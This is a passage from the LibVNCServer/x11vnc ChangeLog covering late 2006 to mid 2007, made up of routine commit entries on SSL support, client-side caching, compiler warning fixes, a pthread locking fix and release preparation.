   4209 	* x11vnc/ChangeLog, x11vnc/README,
   4210 	x11vnc/misc/enhanced_tightvnc_viewer/README,
   4211 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   4212 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4213 	x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4214 	x11vnc/x11vnc_defs.c: ssvnc: SOCKS support, PORT=, Verify all Certs
   4215 	and accepted certs logging. x11vnc SSL debugging output.
   4216 
   4217 2007-05-16  runge <runge>
   4218 
   4219 	* libvncserver/rfbserver.c: Drop client if UltraVNC filetransfer is
   4220 	not enabled.
   4221 
   4222 2007-05-07  runge <runge>
   4223 
   4224 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   4225 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   4226 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4227 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc:
   4228 	Home dir changing, skip enc warning, memory stick doc.
   4229 
   4230 2007-05-07  runge <runge>
   4231 
   4232 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/options.c,
   4233 	x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c,
   4234 	x11vnc/xevents.c: x11vnc: lower -wait and -defer to 20ms. Drop
   4235 	client doing ultravnc stuff in -unixpw during login phase.
   4236 
   4237 2007-05-05  runge <runge>
   4238 
   4239 	* x11vnc/README, x11vnc/connections.c, x11vnc/help.c,
   4240 	x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/unixpw.c,
   4241 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/xevents.c: filexfer
   4242 	warnings and messages.
   4243 
   4244 2007-05-05  runge <runge>
   4245 
   4246 	* configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
   4247 	x11vnc/options.c, x11vnc/options.h, x11vnc/user.c, x11vnc/x11vnc.1,
   4248 	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: add
   4249 	groups handling for -users mode.
   4250 
   4251 2007-05-04  runge <runge>
   4252 
   4253 	* x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c,
   4254 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add WAITBG=1 env.
   4255 	var, add mwm to -create.
   4256 
   4257 2007-05-01  runge <runge>
   4258 
   4259 	* classes/ssl/Makefile.am, classes/ssl/onetimekey,
   4260 	classes/ssl/ss_vncviewer, x11vnc/ChangeLog, x11vnc/README,
   4261 	x11vnc/connections.c, x11vnc/help.c, x11vnc/sslhelper.c,
   4262 	x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1,
   4263 	x11vnc/x11vnc_defs.c: ssl: java viewer patches, onetimekey; x11vnc
   4264 	setsid/setpgrp and -cc 4 for -create
   4265 
   4266 2007-04-28  runge <runge>
   4267 
   4268 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   4269 	x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README,
   4270 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   4271 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   4272 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4273 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   4274 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   4275 	ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/sslhelper.c,
   4276 	x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/user.c,
   4277 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc:
   4278 	-users sslpeer= option. RFB_SSL_CLIENT_CERT, -ncache 10 default
   4279 
   4280 2007-04-19  runge <runge>
   4281 
   4282 	* prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1,
   4283 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: set to next release
   4284 	(0.9.1)
   4285 
   4286 2007-04-19  runge <runge>
   4287 
   4288 	*
   4289 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   4290 	ll.patch: Add latest vncviewer patch.
   4291 
   4292 2007-04-19  runge <runge>
   4293 
   4294 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   4295 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   4296 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4297 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf,
   4298 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Sync with
   4299 	SSVNC 1.0.15
   4300 
   4301 2007-04-18  runge <runge>
   4302 
   4303 	* x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1,
   4304 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: small changes for 0.9
   4305 	release.
   4306 
   4307 2007-04-08  runge <runge>
   4308 
   4309 	* prepare_x11vnc_dist.sh: change x11vnc version to 0.9
   4310 
   4311 2007-04-07  dscho <dscho>
   4312 
   4313 	* configure.ac: prepare for release of LibVNCServer 0.9
   4314 
   4315 2007-04-07  runge <runge>
   4316 
   4317 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
   4318 	x11vnc/ssltools.h, x11vnc/user.c, x11vnc/userinput.c,
   4319 	x11vnc/x11vnc.1: x11vnc: add gnome, kde, etc. FINDCREATEDISPLAY
   4320 	tags.
   4321 
   4322 2007-04-07  runge <runge>
   4323 
   4324 	* classes/ssl/ss_vncviewer,
   4325 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: update
   4326 	viewer jars and ss script
   4327 
   4328 2007-04-07  runge <runge>
   4329 
   4330 	* x11vnc/README, x11vnc/connections.c, x11vnc/help.c,
   4331 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/v4l.c,
   4332 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: java
   4333 	ingoreProxy, fix old libssl free_func problem
   4334 
   4335 2007-04-06  dscho <dscho>
   4336 
   4337 	* AUTHORS, ChangeLog, rfb/rfbclient.h: rfbclient.h: use 'extern "C"'
   4338 	to make it convenient to include from C++
   4339 
   4340 2007-04-06  dscho <dscho>
   4341 
   4342 	* AUTHORS, ChangeLog, rfb/rfb.h: rfb.h: Do not misplace guards This buglet made it impossible to double include rfb.h from C++.
   4343 
   4344 2007-03-30  dscho <dscho>
   4345 
   4346 	* prepare_x11vnc_dist.sh: build x11vnc with static libraries (at
   4347 	least for now) Maybe at a later stage, we want x11vnc to pick up on existing
   4348 	libvncserver.so and libvncclient.so, but right now, x11vnc and the
   4349 	libraries progress together (and thus it is better to build static,
   4350 	necessarily up-to-date libraries for x11vnc).
   4351 
   4352 2007-03-30  dscho <dscho>
   4353 
   4354 	* AUTHORS, ChangeLog, acinclude.m4, client_examples/Makefile.am,
   4355 	configure.ac, contrib/Makefile.am, examples/Makefile.am,
   4356 	libvncclient/Makefile.am, libvncserver/Makefile.am, ltmain.sh,
   4357 	test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: Build
   4358 	shared libraries per default Thanks to Guillaume Rousse, we now use libtool to build shared
   4359 	libraries.
   4360 
   4361 2007-03-25  runge <runge>
   4362 
   4363 	* x11vnc/README, x11vnc/pm.c, x11vnc/scan.c, x11vnc/user.c,
   4364 	x11vnc/userinput.c, x11vnc/xevents.c: x11vnc: remove build errors,
   4365 	get -ncache working on macosx again.
   4366 
   4367 2007-03-24  runge <runge>
   4368 
   4369 	* libvncserver/cursor.c: Fix short vs. char problem with X cursors.
   4370 	Have fg == bg == 0 imply interpolation to B&W.
   4371 
   4372 2007-03-24  runge <runge>
   4373 
   4374 	* classes/ssl/ss_vncviewer,
   4375 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: reverse
   4376 	connections for ss_vncviewer.  java one-time-keys.
   4377 
   4378 2007-03-24  runge <runge>
   4379 
   4380 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   4381 	x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c,
   4382 	x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   4383 	x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4384 	x11vnc/x11vnc_defs.c: x11vnc: reverse SSL connections. -sleepin
   4385 	option.
   4386 
   4387 2007-03-24  runge <runge>
   4388 
   4389 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   4390 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   4391 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4392 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   4393 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   4394 	ll.patch: reverse (listening) VNC connections.
   4395 
   4396 2007-03-20  runge <runge>
   4397 
   4398 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   4399 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
   4400 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4401 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   4402 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   4403 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   4404 	ll.patch: ssvnc: sync to 1.0.13 release.
   4405 
   4406 2007-03-20  runge <runge>
   4407 
   4408 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c,
   4409 	x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
   4410 	x11vnc/sslhelper.c, x11vnc/user.c, x11vnc/x11vnc.1,
   4411 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -httpsredir,
   4412 	x11cursor fix, nc=N login opt, no -ncache betatest for java viewer.
   4413 
   4414 2007-03-20  runge <runge>
   4415 
   4416 	* ChangeLog, libvncserver/httpd.c: Add "Connection: close" to HTTP
   4417 	replies.
   4418 
   4419 2007-03-17  dscho <dscho>
   4420 
   4421 	* AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c: 
   4422 	Fix a locking problem in libvncserver There seems to be a locking problem in libvncserver, with respect to
   4423 	how condition variables are used.  On certain machines in our lab, when using a vncviewer to view a
   4424 	display that has a very high rate of updates, we will occasionally
   4425 	see the VNC server process crash.  In one stack trace that was
   4426 	obtained, an assertion had tripped in glibc's pthread_cond_wait,
   4427 	which was called from clientOutput.  Inspection of clientOutput suggests that WAIT is being called
   4428 	incorrectly.  The mutex that protects a condition variable should
   4429 	always be locked when calling wait, and on return from the wait will
   4430 	still be locked.  The attached patch fixes the locking around this
   4431 	condition variable, and one other that I found by grepping the
   4432 	source for similar occurrences.  Signed-off-by: Charles Coffing <ccoffing (a] novell.com>
   4433 
   4434 2007-03-13  runge <runge>
   4435 
   4436 	*
   4437 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   4438 	ll.patch: ssvnc: sync src/patches/tight-vncviewer-full.patch
   4439 
   4440 2007-03-13  runge <runge>
   4441 
   4442 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c,
   4443 	x11vnc/screen.c, x11vnc/solid.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4444 	x11vnc/x11vnc_defs.c: x11vnc: fix crash for kde dcop. limit ncache
   4445 	beta tester to 96MB viewers.
   4446 
   4447 2007-02-19  runge <runge>
   4448 
   4449 	* x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
   4450 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   4451 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4452 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
   4453 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   4454 	ll.patch: ssvnc: more fixes for painting problems.
   4455 
   4456 2007-02-19  runge <runge>
   4457 
   4458 	* x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4459 	x11vnc/x11vnc_defs.c: x11vnc: fix -users bob= in -inetd mode.
   4460 
   4461 2007-02-19  runge <runge>
   4462 
   4463 	* x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   4464 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   4465 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   4466 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4467 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   4468 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   4469 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   4470 	ll.patch: store 1.0.12 snapshot.
   4471 
   4472 2007-02-19  runge <runge>
   4473 
   4474 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1,
   4475 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: Get
   4476 	ultravnc textchat working with ssvnc.
   4477 
   4478 2007-02-17  runge <runge>
   4479 
   4480 	* x11vnc/README, x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1: 
   4481 	x11vnc: make https fetch in accept_openssl() work again.
   4482 
   4483 2007-02-16  runge <runge>
   4484 
   4485 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/allowed_input_t.h,
   4486 	x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c,
   4487 	x11vnc/keyboard.h, x11vnc/remote.c, x11vnc/screen.c,
   4488 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
   4489 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: add
   4490 	Files mode to user controlled input. more ultra/tight filexfer
   4491 	tweaks.  rfbversion remote control. noncache/nc unixpw user opt.
   4492 
   4493 2007-02-16  runge <runge>
   4494 
   4495 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c,
   4496 	x11vnc/connections.c, x11vnc/help.c, x11vnc/options.c,
   4497 	x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c,
   4498 	x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   4499 	x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4500 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc:
   4501 	tightvnc filetransfer off by default. FINDCREATEDISPLAY geometry.
   4502 
   4503 2007-02-12  runge <runge>
   4504 
   4505 	* configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
   4506 	x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/cleanup.c,
   4507 	x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
   4508 	x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
   4509 	x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4510 	x11vnc/x11vnc_defs.c: x11vnc: add avahi (aka
   4511 	mDNS/Zeroconf/Bonjour...) support thanks to Diego Petteno. add -find
   4512 	-create
   4513 
   4514 2007-02-12  runge <runge>
   4515 
   4516 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   4517 	x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c,
   4518 	x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h,
   4519 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
   4520 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   4521 	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h,
   4522 	x11vnc/xwrappers.c: x11vnc: -grabalways, -forcedpms, -clientdpms,
   4523 	-noserverdpms, -loopbg, -svc, -xdmsvc
   4524 
   4525 2007-02-10  runge <runge>
   4526 
   4527 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   4528 	x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, x11vnc/pointer.h,
   4529 	x11vnc/scan.c, x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c,
   4530 	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c,
   4531 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
   4532 	x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: watch textchat, etc in
   4533 	unixpw, implement kbdReleaseAllKeys, setSingleWindow,
   4534 	setServerInput. watch for OpenGL apps breaking XDAMAGE.
   4535 
   4536 2007-02-05  runge <runge>
   4537 
   4538 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   4539 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   4540 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   4541 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4542 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   4543 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   4544 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   4545 	ll.patch: ssvnc 1.0.11 files.
   4546 
   4547 2007-02-05  runge <runge>
   4548 
   4549 	* prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1,
   4550 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: Setup for x11vnc 0.8.5
   4551 
   4552 2007-02-01  dscho <dscho>
   4553 
   4554 	* ChangeLog, libvncclient/rfbproto.c, libvncclient/vncviewer.c,
   4555 	rfb/rfbclient.h: LibVNCClient: some users do not want to get
   4556 	whole-screen updates; introduce client->updateRect for that
   4557 
   4558 2007-02-01  dscho <dscho>
   4559 
   4560 	* libvncclient/zrle.c: sometimes zrle sends too many bytes; play
   4561 	safe
   4562 
   4563 2007-01-31  runge <runge>
   4564 
   4565 	* x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c,
   4566 	x11vnc/screen.c, x11vnc/solid.c, x11vnc/userinput.c,
   4567 	x11vnc/xdamage.c, x11vnc/xevents.c: fix warnings.
   4568 
   4569 2007-01-31  runge <runge>
   4570 
   4571 	* ChangeLog: libvncclient changes.
   4572 
   4573 2007-01-31  runge <runge>
   4574 
   4575 	* x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
   4576 	x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c,
   4577 	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c,
   4578 	x11vnc/macosxCG.c, x11vnc/macosxCGS.c,
   4579 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne
   4580 	wfbsize.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
   4581 	x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
   4582 	x11vnc/screen.h, x11vnc/solid.c, x11vnc/solid.h, x11vnc/ssltools.h,
   4583 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c,
   4584 	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c,
   4585 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   4586 	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
   4587 	x11vnc/xevents.c: x11vnc: -reflect, -N. -ncache, FINDDISPLAY,
   4588 	FINDCREATEDISPLAY, improvements.  MODTWEAK_LOWEST workaround.
   4589 
   4590 2007-01-31  runge <runge>
   4591 
   4592 	* Makefile.am, libvncclient/cursor.c, libvncclient/rfbproto.c,
   4593 	libvncclient/vncviewer.c, prepare_x11vnc_dist.sh, rfb/rfbclient.h: 
   4594 	libvncclient: add GotCursorShape() and GotCopyRect(); x11vnc dep on
   4595 	libvncclient
   4596 
   4597 2007-01-25  dscho <dscho>
   4598 
   4599 	* libvncserver/rfbserver.c: compile fix for MinGW
   4600 
   4601 2007-01-25  dscho <dscho>
   4602 
   4603 	* VisualNaCro/Makefile.am: complain when SWIG is not present, but
   4604 	needed
   4605 
   4606 2007-01-25  dscho <dscho>
   4607 
   4608 	* VisualNaCro/configure.ac: Complain if libvncserver-config was not
   4609 	found in PATH
   4610 
   4611 2007-01-10  runge <runge>
   4612 
   4613 	* x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h,
   4614 	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc,
   4615 	x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/userinput.h,
   4616 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   4617 	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c,
   4618 	x11vnc/xinerama.c, x11vnc/xrandr.h: some -ncache performance
   4619 	improvements, rootpixmap watching, gnome wm heuristics
   4620 
   4621 2007-01-09  runge <runge>
   4622 
   4623 	* x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1,
   4624 	x11vnc/x11vnc_defs.c: Fix old compiler error; fix warnings.
   4625 
   4626 2007-01-09  runge <runge>
   4627 
   4628 	* x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h,
   4629 	x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/solid.h,
   4630 	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4631 	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: more speed and accuracy
   4632 	improvements to -ncache mode.
   4633 
   4634 2007-01-07  runge <runge>
   4635 
   4636 	* x11vnc/README, x11vnc/options.c, x11vnc/userinput.c,
   4637 	x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
   4638 	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: changes to ncache cache
   4639 	aging and xdamage skipping
   4640 
   4641 2007-01-04  runge <runge>
   4642 
   4643 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/userinput.c,
   4644 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
   4645 	x11vnc/xdamage.c: x11vnc: more -ncache improvements.
   4646 
   4647 2007-01-02  runge <runge>
   4648 
   4649 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
   4650 	x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c,
   4651 	x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   4652 	x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1,
   4653 	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
   4654 	x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: more -ncache
   4655 	improvements.
   4656 
   4657 2006-12-29  runge <runge>
   4658 
   4659 	* x11vnc/8to24.c, x11vnc/README, x11vnc/cursor.c, x11vnc/options.c,
   4660 	x11vnc/options.h, x11vnc/pointer.c, x11vnc/screen.c,
   4661 	x11vnc/selection.c, x11vnc/userinput.c, x11vnc/util.c,
   4662 	x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4663 	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc
   4664 	-ncache on by default for beta test.  fix -nofb & -rawfb modes.
   4665 
   4666 2006-12-28  runge <runge>
   4667 
   4668 	* x11vnc/README, x11vnc/userinput.c, x11vnc/win_utils.c: a couple
   4669 	more warnings...
   4670 
   4671 2006-12-28  runge <runge>
   4672 
   4673 	* x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c,
   4674 	x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c,
   4675 	x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCGS.c,
   4676 	x11vnc/misc/enhanced_tightvnc_viewer/README,
   4677 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   4678 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4679 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   4680 	x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c,
   4681 	x11vnc/scan.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c,
   4682 	x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c,
   4683 	x11vnc/xevents.c, x11vnc/xrandr.c, x11vnc/xrecord.c,
   4684 	x11vnc/xwrappers.c: still more compiler warnings; ssvnc 1.0.9 sync.
   4685 
   4686 2006-12-28  runge <runge>
   4687 
   4688 	* x11vnc/8to24.c, x11vnc/README, x11vnc/cleanup.c,
   4689 	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/macosx.c,
   4690 	x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h,
   4691 	x11vnc/macosxCGP.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
   4692 	x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c,
   4693 	x11vnc/uinput.c, x11vnc/userinput.c, x11vnc/v4l.c,
   4694 	x11vnc/win_utils.c, x11vnc/xevents.c, x11vnc/xwrappers.c: more
   4695 	compiler warnings cleanup.
   4696 
   4697 2006-12-28  runge <runge>
   4698 
   4699 	* x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c,
   4700 	x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c,
   4701 	x11vnc/macosxCG.c, x11vnc/pointer.c, x11vnc/scan.c,
   4702 	x11vnc/screen.c, x11vnc/solid.c, x11vnc/user.c, x11vnc/userinput.c,
   4703 	x11vnc/userinput.h, x11vnc/win_utils.c, x11vnc/xwrappers.c,
   4704 	x11vnc/xwrappers.h: x11vnc: clean up compiler warnings.
   4705 
   4706 2006-12-28  runge <runge>
   4707 
   4708 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
   4709 	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h,
   4710 	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h,
   4711 	x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/options.c,
   4712 	x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c,
   4713 	x11vnc/scan.h, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   4714 	x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/winattr_t.h,
   4715 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
   4716 	x11vnc/xevents.c, x11vnc/xrecord.c, x11vnc/xwrappers.c,
   4717 	x11vnc/xwrappers.h: x11vnc: more work on -ncache.
   4718 
   4719 2006-12-17  runge <runge>
   4720 
   4721 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
   4722 	x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
   4723 	x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c,
   4724 	x11vnc/userinput.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1,
   4725 	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
   4726 	x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: first pass at
   4727 	client-side caching, -ncache option.
   4728 
   4729 2006-12-17  runge <runge>
   4730 
   4731 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
   4732 	x11vnc/options.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4733 	x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: x11vnc: make -xwarppointer
   4734 	the default if xinerama is active.
   4735 
   4736 2006-12-16  runge <runge>
   4737 
   4738 	* rfb/rfbproto.h: Move our rfbEncodings numbers out of the TightVNC
   4739 	range.
   4740 
   4741 2006-12-15  runge <runge>
   4742 
   4743 	* libvncserver/auth.c: fix typo.
   4744 
   4745 2006-12-13  runge <runge>
   4746 
   4747 	* ChangeLog: Remove stray "-permitfiletransfer  permit file transfer
   4748 	support" output
   4749 
   4750 2006-12-13  runge <runge>
   4751 
   4752 	* libvncserver/cargs.c: Remove stray ""-permitfiletransfer    permit
   4753 	file transfer support" output.
   4754 
   4755 2006-12-11  runge <runge>
   4756 
   4757 	* x11vnc/README, x11vnc/macosxCG.c, x11vnc/macosxCGS.c,
